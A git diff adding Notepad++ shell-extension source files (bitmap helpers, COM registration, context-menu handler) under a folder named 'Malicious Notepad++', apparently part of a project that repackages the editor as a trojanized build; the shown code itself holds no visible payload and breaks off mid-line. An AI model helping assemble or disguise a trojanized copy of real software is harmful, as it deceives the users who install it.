hbmp, SIZE& sizImage, int cxRow) +{ + BITMAPINFO bmi; + InitBitmapInfo(&bmi, sizeof(bmi), sizImage.cx, sizImage.cy, 32); + + HRESULT hr = E_OUTOFMEMORY; + HANDLE hHeap = GetProcessHeap(); + void *pvBits = HeapAlloc(hHeap, 0, bmi.bmiHeader.biWidth * 4 * bmi.bmiHeader.biHeight); + if (pvBits) + { + hr = E_UNEXPECTED; + if (GetDIBits(hdc, hbmp, 0, bmi.bmiHeader.biHeight, pvBits, &bmi, DIB_RGB_COLORS) == bmi.bmiHeader.biHeight) + { + ULONG cxDelta = cxRow - bmi.bmiHeader.biWidth; + ARGB *pargbMask = static_cast(pvBits); + + for (ULONG y = bmi.bmiHeader.biHeight; y; --y) + { + for (ULONG x = bmi.bmiHeader.biWidth; x; --x) + { + if (*pargbMask++) + { + // transparent pixel + *pargb++ = 0; + } + else + { + // opaque pixel + *pargb++ |= 0xFF000000; + } + } + + pargb += cxDelta; + } + + hr = S_OK; + } + + HeapFree(hHeap, 0, pvBits); + } + + return hr; +} + +bool HasAlpha(ARGB *pargb, SIZE& sizImage, int cxRow) +{ + ULONG cxDelta = cxRow - sizImage.cx; + for (ULONG y = sizImage.cy; y; --y) + { + for (ULONG x = sizImage.cx; x; --x) + { + if (*pargb++ & 0xFF000000) + { + return true; + } + } + + pargb += cxDelta; + } + + return false; +} + +HRESULT ConvertBufferToPARGB32(HPAINTBUFFER hPaintBuffer, HDC hdc, HICON hicon, SIZE& sizIcon) +{ + RGBQUAD *prgbQuad; + int cxRow; + HRESULT hr = pfnGetBufferedPaintBits(hPaintBuffer, &prgbQuad, &cxRow); + if (SUCCEEDED(hr)) + { + ARGB *pargb = reinterpret_cast(prgbQuad); + if (!HasAlpha(pargb, sizIcon, cxRow)) + { + ICONINFO info; + if (GetIconInfo(hicon, &info)) + { + if (info.hbmMask) + { + hr = ConvertToPARGB32(hdc, pargb, info.hbmMask, sizIcon, cxRow); + } + + DeleteObject(info.hbmColor); + DeleteObject(info.hbmMask); + } + } + } + + return hr; +} + +HBITMAP IconToBitmapPARGB32(HICON hIcon, DWORD cx, DWORD cy) +{ + HRESULT hr = E_OUTOFMEMORY; + HBITMAP hBmp = NULL; + + if(!hIcon) + return NULL; + + SIZE sizIcon; + sizIcon.cx = cx; + sizIcon.cy = cy; + + RECT rcIcon; + SetRect(&rcIcon, 0, 0, sizIcon.cx, sizIcon.cy); + + HDC hdcDest = CreateCompatibleDC(NULL); + if(hdcDest) { + hr = Create32BitHBITMAP(hdcDest, &sizIcon, NULL, &hBmp); + if(SUCCEEDED(hr)) { + hr = E_FAIL; + + HBITMAP hbmpOld = (HBITMAP)SelectObject(hdcDest, hBmp); + if(hbmpOld) { + BLENDFUNCTION bfAlpha = { AC_SRC_OVER, 0, 255, AC_SRC_ALPHA }; + BP_PAINTPARAMS paintParams = {0, 0, 0, 0}; + paintParams.cbSize = sizeof(paintParams); + paintParams.dwFlags = BPPF_ERASE; + paintParams.pBlendFunction = &bfAlpha; + + HDC hdcBuffer; + HPAINTBUFFER hPaintBuffer = pfnBeginBufferedPaint(hdcDest, &rcIcon, BPBF_DIB, &paintParams, &hdcBuffer); + if(hPaintBuffer) { + if(DrawIconEx(hdcBuffer, 0, 0, hIcon, sizIcon.cx, sizIcon.cy, 0, NULL, DI_NORMAL)) { + // If icon did not have an alpha channel, we need to convert buffer to PARGB. + hr = ConvertBufferToPARGB32(hPaintBuffer, hdcDest, hIcon, sizIcon); + } + + // This will write the buffer contents to the destination bitmap. + pfnEndBufferedPaint(hPaintBuffer, TRUE); + } + SelectObject(hdcDest, hbmpOld); + } + } + DeleteDC(hdcDest); + } + + DestroyIcon(hIcon); + if(SUCCEEDED(hr)) { + return hBmp; + } + DeleteObject(hBmp); + return NULL; +} +/* +// LoadIconEx: Loads an icon with a specific size and color depth. This function +// will NOT try to strech or take an icon of another color depth if none is +// present. +HICON LoadIconEx(HINSTANCE hInstance, LPCTSTR lpszName, int cx, int cy, int depth) +{ + HRSRC hRsrcIconGroup; + + // Load the icon group of the desired icon + if (!(hRsrcIconGroup=FindResource(hInstance,lpszName,RT_GROUP_ICON))) + return NULL; + + // Look for the specified color depth + + // Load the resource + + GRPICONDIR* pGrpIconDir; + HRSRC hGlobalIconDir; + + if (!(hGlobalIconDir=(HRSRC)LoadResource(hInstance,hRsrcIconGroup))) + return NULL; + + // Lock the resource + + if (!(pGrpIconDir=(GRPICONDIR*) LockResource(hGlobalIconDir))) + return NULL; + + // Cycle through all icon images trying to find the one we're looking for + + int i; + BOOL bFound=FALSE; + + // In case of 8bpp or higher, the bColorCount of the structure is 0, and we + // must find our icon with the wPlanes and wBitCount. So if the requested + // number of colors is >=256, we calculate using those fields + + int bestIndex = -1; + int bestDepth = -1; //depth of icon either has to be equal (best match) or larger, or no best icon found + int bestSize = -1; //Size either has to be equal (best match) or smaller + + int nrColors = 1 << depth; + + for (i=0;iidCount;i++) + { + GRPICONDIRENTRY & entry = pGrpIconDir->idEntries[i]; + int iconColors = (entry.bColorCount==0)?1 << (entry.wPlanes*entry.wBitCount) : entry.bColorCount; + if (iconColors < bestDepth); + + if ((entry.bWidth==cx) && (entry.bHeight==cy)) // Do the size match? + { + bFound = TRUE; // Yes, it matches + break; + } + } + + if (!bFound) + return NULL; // No icon was found matching the specs + + // Icon was found! i contains the index to the GRPICONDIR structure in the + // icon group. Find the ID of the icon + + int nID; + + nID=pGrpIconDir->idEntries[i].nID; + + // Now, find the actual icon resource + + HRSRC hRsrcIcon; + HRSRC hGlobalIcon; + void* pIconBits; + + if (!(hRsrcIcon=FindResource(hInstance,MAKEINTRESOURCE(nID),RT_ICON))) + return NULL; + + if (!(hGlobalIcon=(HRSRC)LoadResource(hInstance,hRsrcIcon))) + return NULL; + + if (!(pIconBits=LockResource(hGlobalIcon))) + return NULL; + + // Now, use CreateIconFromResourceEx to create the actual HICON + + return CreateIconFromResourceEx( + (unsigned char*) pIconBits, // Pointer to icon data + pGrpIconDir->idEntries[i].dwBytesInRes, // Size of icon data + TRUE, // TRUE to create an icon, not a cursor + 0x00030000, // Version number. MSDN says to put that number + cx, cy, // Width and height + 0); // Flags (none) +} +*/ diff --git a/Malicious Notepad++/src/tools/NppShell/src/Bitmap.h b/Malicious Notepad++/src/tools/NppShell/src/Bitmap.h new file mode 100644 index 0000000..da1f1fa --- /dev/null +++ b/Malicious Notepad++/src/tools/NppShell/src/Bitmap.h @@ -0,0 +1,45 @@ +#include +#include + +#ifndef BPPF_ERASE +#define BPPF_ERASE 1 +#endif + +typedef DWORD ARGB; +typedef HRESULT (WINAPI *FN_GetBufferedPaintBits) (HPAINTBUFFER hBufferedPaint, RGBQUAD **ppbBuffer, int *pcxRow); +typedef HPAINTBUFFER (WINAPI *FN_BeginBufferedPaint) (HDC hdcTarget, const RECT *prcTarget, BP_BUFFERFORMAT dwFormat, BP_PAINTPARAMS *pPaintParams, HDC *phdc); +typedef HRESULT (WINAPI *FN_EndBufferedPaint) (HPAINTBUFFER hBufferedPaint, BOOL fUpdateTarget); + +bool InitTheming(); +bool DeinitTheming(); + +void InitBitmapInfo(BITMAPINFO *pbmi, ULONG cbInfo, LONG cx, LONG cy, WORD bpp); +HRESULT Create32BitHBITMAP(HDC hdc, const SIZE *psize, void **ppvBits, HBITMAP* phBmp); +HRESULT ConvertToPARGB32(HDC hdc, ARGB *pargb, HBITMAP hbmp, SIZE& sizImage, int cxRow); +bool HasAlpha(ARGB *pargb, SIZE& sizImage, int cxRow); +HRESULT ConvertBufferToPARGB32(HPAINTBUFFER hPaintBuffer, HDC hdc, HICON hicon, SIZE& sizIcon); +HBITMAP IconToBitmapPARGB32(HICON hIcon, DWORD cx, DWORD cy); + +typedef struct +{ + BYTE bWidth; // Width, in pixels, of the image + BYTE bHeight; // Height, in pixels, of the image + BYTE bColorCount; // Number of colors in image (0 if >=8bpp) + BYTE bReserved; // Reserved + WORD wPlanes; // Color Planes + WORD wBitCount; // Bits per pixel + DWORD dwBytesInRes; // how many bytes in this resource? + WORD nID; // the ID +} GRPICONDIRENTRY, *LPGRPICONDIRENTRY; + +typedef struct +{ + WORD idReserved; // Reserved (must be 0) + WORD idType; // Resource type (1 for icons) + WORD idCount; // How many images? + GRPICONDIRENTRY idEntries[1]; // The entries for each image +} GRPICONDIR, *LPGRPICONDIR; + + + +HICON LoadIconEx(HINSTANCE hInst, LPCTSTR lpszName, int cz, int cy, int depth); diff --git a/Malicious Notepad++/src/tools/NppShell/src/NppShell.cpp b/Malicious Notepad++/src/tools/NppShell/src/NppShell.cpp new file mode 100644 index 0000000..60239f8 --- /dev/null +++ b/Malicious Notepad++/src/tools/NppShell/src/NppShell.cpp @@ -0,0 +1,1094 @@ +#include "NppShell.h" +#include "Bitmap.h" +#include "resource.h" +#include +#include + +#ifndef RGBA +#define RGBA(r,g,b,a) ((COLORREF)( (((DWORD)(BYTE)(a))<<24) | RGB(r,g,b) )) +#endif + + + +//--------------------------------------------------------------------------- +// Global variables +//--------------------------------------------------------------------------- +UINT _cRef = 0; // COM Reference count. +HINSTANCE _hModule = NULL; // DLL Module. + +//Some global default values for registering the DLL + +//Menu +TCHAR szNppName[] = TEXT("notepad++.exe"); +TCHAR szDefaultMenutext[] = TEXT("Edit with &Notepad++"); + +#ifdef WIN64 +TCHAR szShellExtensionTitle[] = TEXT("ANotepad++64"); +TCHAR szShellExtensionKey[] = TEXT("*\\shellex\\ContextMenuHandlers\\ANotepad++64"); +#else +TCHAR szShellExtensionTitle[] = TEXT("ANotepad++"); +TCHAR szShellExtensionKey[] = TEXT("*\\shellex\\ContextMenuHandlers\\ANotepad++"); +#endif + +#define szHelpTextA "Edits the selected file(s) with Notepad++" +#define szHelpTextW L"Edits the selected file(s) with Notepad++" +TCHAR szMenuTitle[TITLE_SIZE]; +TCHAR szDefaultCustomcommand[] = TEXT(""); +//Icon +DWORD isDynamic = 1; +DWORD maxText = 25; +DWORD showIcon = 1; + +//Forward function declarations +extern "C" int APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved); +STDAPI DllRegisterServer(void); +STDAPI DllUnregisterServer(void); + +BOOL RegisterServer(); +BOOL UnregisterServer(); +void MsgBox(LPCTSTR lpszMsg); +void MsgBoxError(LPCTSTR lpszMsg); +BOOL CheckNpp(LPCTSTR path); +INT_PTR CALLBACK DlgProcSettings(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam); +void InvalidateIcon(HICON * iconSmall, HICON * iconLarge); + +#ifdef UNICODE +#define _ttoi _wtoi +#else +#define _ttoi atoi +#endif + + + +//Types +struct DOREGSTRUCT { + HKEY hRootKey; + LPCTSTR szSubKey; + LPCTSTR lpszValueName; + DWORD type; + LPCTSTR szData; +}; + +//--------------------------------------------------------------------------- +// DllMain +//--------------------------------------------------------------------------- +int APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID /*lpReserved*/) { + if (dwReason == DLL_PROCESS_ATTACH) { + _hModule = hInstance; + } + return TRUE; +} + +//--------------------------------------------------------------------------- +// DllCanUnloadNow +//--------------------------------------------------------------------------- +STDAPI DllCanUnloadNow(void) { + return (_cRef == 0 ? S_OK : S_FALSE); +} + +//--------------------------------------------------------------------------- +// DllGetClassObject +//--------------------------------------------------------------------------- +STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID *ppvOut) { + *ppvOut = NULL; + if (IsEqualIID(rclsid, CLSID_ShellExtension)) { + CShellExtClassFactory *pcf = new CShellExtClassFactory; + return pcf->QueryInterface(riid, ppvOut); + } + return CLASS_E_CLASSNOTAVAILABLE; +} + +//--------------------------------------------------------------------------- +// DllRegisterServer +//--------------------------------------------------------------------------- +STDAPI DllRegisterServer(void) { + return (RegisterServer() ? S_OK : E_FAIL); +} + +//--------------------------------------------------------------------------- +// DllUnregisterServer +//--------------------------------------------------------------------------- +STDAPI DllUnregisterServer(void) { + return (UnregisterServer() ? S_OK : E_FAIL); +} + +STDAPI DllInstall(BOOL bInstall, LPCWSTR /*pszCmdLine*/) { + if (bInstall) { + DialogBox(_hModule, MAKEINTRESOURCE(IDD_DIALOG_SETTINGS), NULL, (DLGPROC)&DlgProcSettings); + return S_OK; + } else { + MsgBoxError(TEXT("Uninstalling not supported, use DllUnregisterServer instead")); + return E_NOTIMPL; + } +} + +//--------------------------------------------------------------------------- +// RegisterServer +// Create registry entries and setup the shell extension +//--------------------------------------------------------------------------- +BOOL RegisterServer() { + int i; + HKEY hKey; + LRESULT lResult; + DWORD dwDisp; + TCHAR szSubKey[MAX_PATH]; + TCHAR szModule[MAX_PATH]; + TCHAR szDefaultPath[MAX_PATH]; + + GetModuleFileName(_hModule, szDefaultPath, MAX_PATH); + TCHAR* pDest = StrRChr(szDefaultPath, NULL, TEXT('\\')); + pDest++; + pDest[0] = 0; + lstrcat(szDefaultPath, szNppName); + + if (!CheckNpp(szDefaultPath)) { + MsgBoxError(TEXT("To register the Notepad++ shell extension properly,\r\nplace NppShell.dll in the same directory as the Notepad++ executable.")); + //return FALSE; + } + + //get this app's path and file name + GetModuleFileName(_hModule, szModule, MAX_PATH); + + static DOREGSTRUCT ClsidEntries[] = { + {HKEY_CLASSES_ROOT, TEXT("CLSID\\%s"), NULL, REG_SZ, szShellExtensionTitle}, + {HKEY_CLASSES_ROOT, TEXT("CLSID\\%s\\InprocServer32"), NULL, REG_SZ, szModule}, + {HKEY_CLASSES_ROOT, TEXT("CLSID\\%s\\InprocServer32"), TEXT("ThreadingModel"), REG_SZ, TEXT("Apartment")}, + + //Settings + // Context menu + {HKEY_CLASSES_ROOT, TEXT("CLSID\\%s\\Settings"), TEXT("Title"), REG_SZ, szDefaultMenutext}, + {HKEY_CLASSES_ROOT, TEXT("CLSID\\%s\\Settings"), TEXT("Path"), REG_SZ, szDefaultPath}, + {HKEY_CLASSES_ROOT, TEXT("CLSID\\%s\\Settings"), TEXT("Custom"), REG_SZ, szDefaultCustomcommand}, + {HKEY_CLASSES_ROOT, TEXT("CLSID\\%s\\Settings"), TEXT("ShowIcon"), REG_DWORD, (LPTSTR)&showIcon}, + // Icon + {HKEY_CLASSES_ROOT, TEXT("CLSID\\%s\\Settings"), TEXT("Dynamic"), REG_DWORD, (LPTSTR)&isDynamic}, + {HKEY_CLASSES_ROOT, TEXT("CLSID\\%s\\Settings"), TEXT("Maxtext"), REG_DWORD, (LPTSTR)&maxText}, + + //Registration + // Context menu + {HKEY_CLASSES_ROOT, szShellExtensionKey, NULL, REG_SZ, szGUID}, + // Icon + //{HKEY_CLASSES_ROOT, TEXT("Notepad++_file\\shellex\\IconHandler"), NULL, REG_SZ, szGUID}, + + {NULL, NULL, NULL, REG_SZ, NULL} + }; + + // First clear any old entries + UnregisterServer(); + + // Register the CLSID entries + for(i = 0; ClsidEntries[i].hRootKey; i++) { + wsprintf(szSubKey, ClsidEntries[i].szSubKey, szGUID); + lResult = RegCreateKeyEx(ClsidEntries[i].hRootKey, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisp); + if (NOERROR == lResult) { + TCHAR szData[MAX_PATH]; + // If necessary, create the value string + if (ClsidEntries[i].type == REG_SZ) { + wsprintf(szData, ClsidEntries[i].szData, szModule); + lResult = RegSetValueEx(hKey, ClsidEntries[i].lpszValueName, 0, ClsidEntries[i].type, (LPBYTE)szData, (lstrlen(szData) + 1) * sizeof(TCHAR)); + } else { + lResult = RegSetValueEx(hKey, ClsidEntries[i].lpszValueName, 0, ClsidEntries[i].type, (LPBYTE)ClsidEntries[i].szData, sizeof(DWORD)); + } + RegCloseKey(hKey); + } + else + return FALSE; + } + return TRUE; +} + +//--------------------------------------------------------------------------- +// UnregisterServer +//--------------------------------------------------------------------------- +BOOL UnregisterServer() { + TCHAR szKeyTemp[MAX_PATH + GUID_STRING_SIZE]; + + RegDeleteKey(HKEY_CLASSES_ROOT, szShellExtensionKey); + + wsprintf(szKeyTemp, TEXT("Notepad++_file\\shellex\\IconHandler")); + RegDeleteKey(HKEY_CLASSES_ROOT, szKeyTemp); + wsprintf(szKeyTemp, TEXT("Notepad++_file\\shellex")); + RegDeleteKey(HKEY_CLASSES_ROOT, szKeyTemp); + + wsprintf(szKeyTemp, TEXT("CLSID\\%s\\InprocServer32"), szGUID); + RegDeleteKey(HKEY_CLASSES_ROOT, szKeyTemp); + wsprintf(szKeyTemp, TEXT("CLSID\\%s\\Settings"), szGUID); + RegDeleteKey(HKEY_CLASSES_ROOT, szKeyTemp); + wsprintf(szKeyTemp, TEXT("CLSID\\%s"), szGUID); + RegDeleteKey(HKEY_CLASSES_ROOT, szKeyTemp); + + return TRUE; +} + +//--------------------------------------------------------------------------- +// MsgBox +//--------------------------------------------------------------------------- +void MsgBox(LPCTSTR lpszMsg) { + MessageBox(NULL, + lpszMsg, + TEXT("Notepad++ Extension"), + MB_OK); +} + +//--------------------------------------------------------------------------- +// MsgBoxError +//--------------------------------------------------------------------------- +void MsgBoxError(LPCTSTR lpszMsg) { + MessageBox(NULL, + lpszMsg, + TEXT("Notepad++ Extension: Error"), + MB_OK | MB_ICONWARNING); +} + +//--------------------------------------------------------------------------- +// CheckNpp +// Check if the shell handler resides in the same directory as notepad++ +//--------------------------------------------------------------------------- +BOOL CheckNpp(LPCTSTR path) { + WIN32_FIND_DATA fd; + HANDLE findHandle; + + findHandle = FindFirstFile(path, &fd); + if (findHandle == INVALID_HANDLE_VALUE) { + return FALSE; + } else { + FindClose(findHandle); + } + return TRUE; +} + +INT_PTR CALLBACK DlgProcSettings(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) { + static TCHAR customCommand[MAX_PATH] = {0}; + static TCHAR customText[TITLE_SIZE] = {0}; + static TCHAR szKeyTemp[MAX_PATH + GUID_STRING_SIZE]; + + static DWORD showMenu = 2; //0 off, 1 on, 2 unknown + static DWORD useMenuIcon = 1; // 0 off, otherwise on + + HKEY settingKey; + LONG result; + DWORD size = 0; + + switch(uMsg) { + case WM_INITDIALOG: { + wsprintf(szKeyTemp, TEXT("CLSID\\%s\\Settings"), szGUID); + result = RegOpenKeyEx(HKEY_CLASSES_ROOT, szKeyTemp, 0, KEY_READ, &settingKey); + if (result == ERROR_SUCCESS) { + size = sizeof(TCHAR)*TITLE_SIZE; + result = RegQueryValueEx(settingKey, TEXT("Title"), NULL, NULL, (LPBYTE)(customText), &size); + if (result != ERROR_SUCCESS) { + lstrcpyn(customText, szDefaultMenutext, TITLE_SIZE); + } + + size = sizeof(TCHAR)*MAX_PATH; + result = RegQueryValueEx(settingKey, TEXT("Custom"), NULL, NULL, (LPBYTE)(customCommand), &size); + if (result != ERROR_SUCCESS) { + lstrcpyn(customCommand, TEXT(""), MAX_PATH); + } + + size = sizeof(DWORD); + result = RegQueryValueEx(settingKey, TEXT("Dynamic"), NULL, NULL, (BYTE*)(&isDynamic), &size); + if (result != ERROR_SUCCESS) { + isDynamic = 1; + } + + size = sizeof(DWORD); + result = RegQueryValueEx(settingKey, TEXT("ShowIcon"), NULL, NULL, (BYTE*)(&useMenuIcon), &size); + if (result != ERROR_SUCCESS) { + useMenuIcon = 1; + } + + RegCloseKey(settingKey); + } + + Button_SetCheck(GetDlgItem(hwndDlg, IDC_CHECK_USECONTEXT), BST_INDETERMINATE); + Button_SetCheck(GetDlgItem(hwndDlg, IDC_CHECK_USEICON), BST_INDETERMINATE); + + Button_SetCheck(GetDlgItem(hwndDlg, IDC_CHECK_CONTEXTICON), useMenuIcon?BST_CHECKED:BST_UNCHECKED); + Button_SetCheck(GetDlgItem(hwndDlg, IDC_CHECK_ISDYNAMIC), isDynamic?BST_CHECKED:BST_UNCHECKED); + + SetDlgItemText(hwndDlg, IDC_EDIT_MENU, customText); + SetDlgItemText(hwndDlg, IDC_EDIT_COMMAND, customCommand); + + return TRUE; + break; } + case WM_COMMAND: { + switch(LOWORD(wParam)) { + case IDOK: { + //Store settings + GetDlgItemText(hwndDlg, IDC_EDIT_MENU, customText, TITLE_SIZE); + GetDlgItemText(hwndDlg, IDC_EDIT_COMMAND, customCommand, MAX_PATH); + int textLen = lstrlen(customText); + int commandLen = lstrlen(customCommand); + + wsprintf(szKeyTemp, TEXT("CLSID\\%s\\Settings"), szGUID); + result = RegCreateKeyEx(HKEY_CLASSES_ROOT, szKeyTemp, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &settingKey, NULL); + if (result == ERROR_SUCCESS) { + + result = RegSetValueEx(settingKey, TEXT("Title"), 0,REG_SZ, (LPBYTE)customText, (textLen+1)*sizeof(TCHAR)); + result = RegSetValueEx(settingKey, TEXT("Custom"), 0,REG_SZ, (LPBYTE)customCommand, (commandLen+1)*sizeof(TCHAR)); + + result = RegSetValueEx(settingKey, TEXT("Dynamic"), 0, REG_DWORD, (LPBYTE)&isDynamic, sizeof(DWORD)); + result = RegSetValueEx(settingKey, TEXT("ShowIcon"), 0, REG_DWORD, (LPBYTE)&useMenuIcon, sizeof(DWORD)); + + RegCloseKey(settingKey); + } + + if (showMenu == 1) { + result = RegCreateKeyEx(HKEY_CLASSES_ROOT, szShellExtensionKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &settingKey, NULL); + if (result == ERROR_SUCCESS) { + result = RegSetValueEx(settingKey, NULL, 0,REG_SZ, (LPBYTE)szGUID, (lstrlen(szGUID)+1)*sizeof(TCHAR)); + RegCloseKey(settingKey); + } + } else if (showMenu == 0) { + RegDeleteKey(HKEY_CLASSES_ROOT, szShellExtensionKey); + } + + if (showIcon == 1) { + result = RegCreateKeyEx(HKEY_CLASSES_ROOT, TEXT("Notepad++_file\\shellex\\IconHandler"), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &settingKey, NULL); + if (result == ERROR_SUCCESS) { + result = RegSetValueEx(settingKey, NULL, 0,REG_SZ, (LPBYTE)szGUID, (lstrlen(szGUID)+1)*sizeof(TCHAR)); + RegCloseKey(settingKey); + } + } else if (showIcon == 0) { + RegDeleteKey(HKEY_CLASSES_ROOT, TEXT("Notepad++_file\\shellex\\IconHandler")); + RegDeleteKey(HKEY_CLASSES_ROOT, TEXT("Notepad++_file\\shellex")); + } + + PostMessage(hwndDlg, WM_CLOSE, 0, 0); + break; } + case IDC_CHECK_USECONTEXT: { + int state = Button_GetCheck((HWND)lParam); + if (state == BST_CHECKED) + showMenu = 1; + else if (state == BST_UNCHECKED) + showMenu = 0; + else + showMenu = 2; + break; } + case IDC_CHECK_USEICON: { + int state = Button_GetCheck((HWND)lParam); + if (state == BST_CHECKED) + showIcon = 1; + else if (state == BST_UNCHECKED) + showIcon = 0; + else + showIcon = 2; + break; } + case IDC_CHECK_CONTEXTICON: { + int state = Button_GetCheck((HWND)lParam); + if (state == BST_CHECKED) + useMenuIcon = 1; + else + useMenuIcon = 0; + break; } + case IDC_CHECK_ISDYNAMIC: { + int state = Button_GetCheck((HWND)lParam); + if (state == BST_CHECKED) + isDynamic = 1; + else + isDynamic = 0; + break; } + default: + break; + } + + return TRUE; + break; } + case WM_CLOSE: { + EndDialog(hwndDlg, 0); + return TRUE; + break; } + default: + break; + } + + return FALSE; +} + +// --- CShellExtClassFactory --- +CShellExtClassFactory::CShellExtClassFactory() : + m_cRef(0L) +{ + _cRef++; +} + +CShellExtClassFactory::~CShellExtClassFactory() { + _cRef--; +} + +// *** IUnknown methods *** +STDMETHODIMP CShellExtClassFactory::QueryInterface(REFIID riid, LPVOID FAR *ppv) { + *ppv = NULL; + if (IsEqualIID(riid, IID_IUnknown) || IsEqualIID(riid, IID_IClassFactory)) { + *ppv = (LPCLASSFACTORY)this; + AddRef(); + return NOERROR; + } + return E_NOINTERFACE; +} + +STDMETHODIMP_(ULONG) CShellExtClassFactory::AddRef() { + return ++m_cRef; +} + +STDMETHODIMP_(ULONG) CShellExtClassFactory::Release() +{ + if (--m_cRef) + return m_cRef; + delete this; + return 0L; +} + +// *** IClassFactory methods *** +STDMETHODIMP CShellExtClassFactory::CreateInstance(LPUNKNOWN pUnkOuter, REFIID riid, LPVOID *ppvObj) { + *ppvObj = NULL; + if (pUnkOuter) + return CLASS_E_NOAGGREGATION; + CShellExt * pShellExt = new CShellExt(); + if (!pShellExt) + return E_OUTOFMEMORY; + return pShellExt->QueryInterface(riid, ppvObj); +} + +STDMETHODIMP CShellExtClassFactory::LockServer(BOOL /*fLock*/) { + return NOERROR; +} + +// --- CShellExt --- +CShellExt::CShellExt() : + m_cRef(0L), + m_cbFiles(0), + m_pDataObj(NULL), + m_menuID(0), + m_hMenu(NULL), + m_showIcon(true), + m_useCustom(false), + m_nameLength(0), + m_nameMaxLength(maxText), + m_isDynamic(false), + m_winVer(0) +{ + TCHAR szKeyTemp [MAX_PATH + GUID_STRING_SIZE]; + ZeroMemory(&m_stgMedium, sizeof(m_stgMedium)); + _cRef++; + + GetModuleFileName(_hModule, m_szModule, MAX_PATH); + + OSVERSIONINFOEX inf; + ZeroMemory(&inf, sizeof(OSVERSIONINFOEX)); + inf.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); + GetVersionEx((OSVERSIONINFO *)&inf); + m_winVer = MAKEWORD(inf.dwMinorVersion, inf.dwMajorVersion); + + if (m_winVer >= WINVER_VISTA) { + InitTheming(); + } + + HKEY settingKey; + LONG result; + DWORD size = 0; + DWORD dyn = 0, siz = 0, showicon = 0; + + wsprintf(szKeyTemp, TEXT("CLSID\\%s\\Settings"), szGUID); + result = RegOpenKeyEx(HKEY_CLASSES_ROOT, szKeyTemp, 0, KEY_READ, &settingKey); + if (result == ERROR_SUCCESS) { + size = sizeof(TCHAR)*TITLE_SIZE; + result = RegQueryValueEx(settingKey, TEXT("Title"), NULL, NULL, (LPBYTE)(m_szMenuTitle), &size); + if (result != ERROR_SUCCESS) { + lstrcpyn(m_szMenuTitle, szDefaultMenutext, TITLE_SIZE); + } + + size = sizeof(DWORD); + result = RegQueryValueEx(settingKey, TEXT("Dynamic"), NULL, NULL, (BYTE*)(&dyn), &size); + if (result == ERROR_SUCCESS && dyn != 0) { + m_isDynamic = true; + } + + size = sizeof(DWORD); + result = RegQueryValueEx(settingKey, TEXT("Maxtext"), NULL, NULL, (BYTE*)(&siz), &size); + if (result == ERROR_SUCCESS) { + m_nameMaxLength = std::max((DWORD)0,siz); + } + + size = sizeof(DWORD); + result = RegQueryValueEx(settingKey, TEXT("ShowIcon"), NULL, NULL, (BYTE*)(&showicon), &size); + if (result == ERROR_SUCCESS) { + m_showIcon = (showicon != 0); + } + + result = RegQueryValueEx(settingKey, TEXT("CustomIcon"), NULL, NULL, NULL, NULL); + if (result == ERROR_SUCCESS) { + m_useCustom = true; + size = MAX_PATH; + RegQueryValueEx(settingKey, TEXT("CustomIcon"), NULL, NULL, (BYTE*)m_szCustomPath, &size); + } + + RegCloseKey(settingKey); + } +} + +CShellExt::~CShellExt() { + if (m_winVer >= WINVER_VISTA) { + DeinitTheming(); + } + + if (m_pDataObj) + m_pDataObj->Release(); + _cRef--; +} +// *** IUnknown methods *** +STDMETHODIMP CShellExt::QueryInterface(REFIID riid, LPVOID FAR *ppv) { + *ppv = NULL; + if (IsEqualIID(riid, IID_IUnknown)) { + //*ppv = (LPUNKNOWN)this; + *ppv = (LPSHELLEXTINIT)this; + } else if (IsEqualIID(riid, IID_IShellExtInit)) { + *ppv = (LPSHELLEXTINIT)this; + } else if (IsEqualIID(riid, IID_IContextMenu)) { + *ppv = (LPCONTEXTMENU)this; + } else if (IsEqualIID(riid, IID_IContextMenu2)) { + *ppv = (LPCONTEXTMENU2)this; + } else if (IsEqualIID(riid, IID_IContextMenu3)) { + *ppv = (LPCONTEXTMENU3)this; + } else if (IsEqualIID(riid, IID_IPersistFile)) { + *ppv = (LPPERSISTFILE)this; + } else if (IsEqualIID(riid, IID_IExtractIcon)) { + *ppv = (LPEXTRACTICON)this; + } + if (*ppv) { + AddRef(); + return NOERROR; + } + return E_NOINTERFACE; +} + +STDMETHODIMP_(ULONG) CShellExt::AddRef() { + return ++m_cRef; +} + +STDMETHODIMP_(ULONG) CShellExt::Release() { + if (--m_cRef) + return m_cRef; + delete this; + return 0L; +} + +// *** IShellExtInit methods *** +STDMETHODIMP CShellExt::Initialize(LPCITEMIDLIST /*pIDFolder*/, LPDATAOBJECT pDataObj, HKEY /*hRegKey*/) { + if (m_pDataObj) { + m_pDataObj->Release(); + m_pDataObj = NULL; + } + if (pDataObj) { + m_pDataObj = pDataObj; + pDataObj->AddRef(); + } + return NOERROR; +} + +// *** IContextMenu methods *** +STDMETHODIMP CShellExt::QueryContextMenu(HMENU hMenu, UINT indexMenu, UINT idCmdFirst, UINT /*idCmdLast*/, UINT /*uFlags*/) { + UINT idCmd = idCmdFirst; + + FORMATETC fmte = { + CF_HDROP, + (DVTARGETDEVICE FAR *)NULL, + DVASPECT_CONTENT, + -1, + TYMED_HGLOBAL + }; + + HRESULT hres = m_pDataObj->GetData(&fmte, &m_stgMedium); + + if (SUCCEEDED(hres)) { + if (m_stgMedium.hGlobal) + m_cbFiles = DragQueryFile((HDROP)m_stgMedium.hGlobal, (UINT)-1, 0, 0); + } + + UINT nIndex = indexMenu++; + + InsertMenu(hMenu, nIndex, MF_STRING|MF_BYPOSITION, idCmd++, m_szMenuTitle); + + + if (m_showIcon) { + HBITMAP icon = NULL; + if (m_winVer >= WINVER_VISTA) { + icon = NULL; + HICON hicon; + DWORD menuIconWidth = GetSystemMetrics(SM_CXMENUCHECK); + DWORD menuIconHeight = GetSystemMetrics(SM_CYMENUCHECK); + HRESULT hr = LoadShellIcon(menuIconWidth, menuIconHeight, &hicon); + if (SUCCEEDED(hr)) { + icon = IconToBitmapPARGB32(hicon, 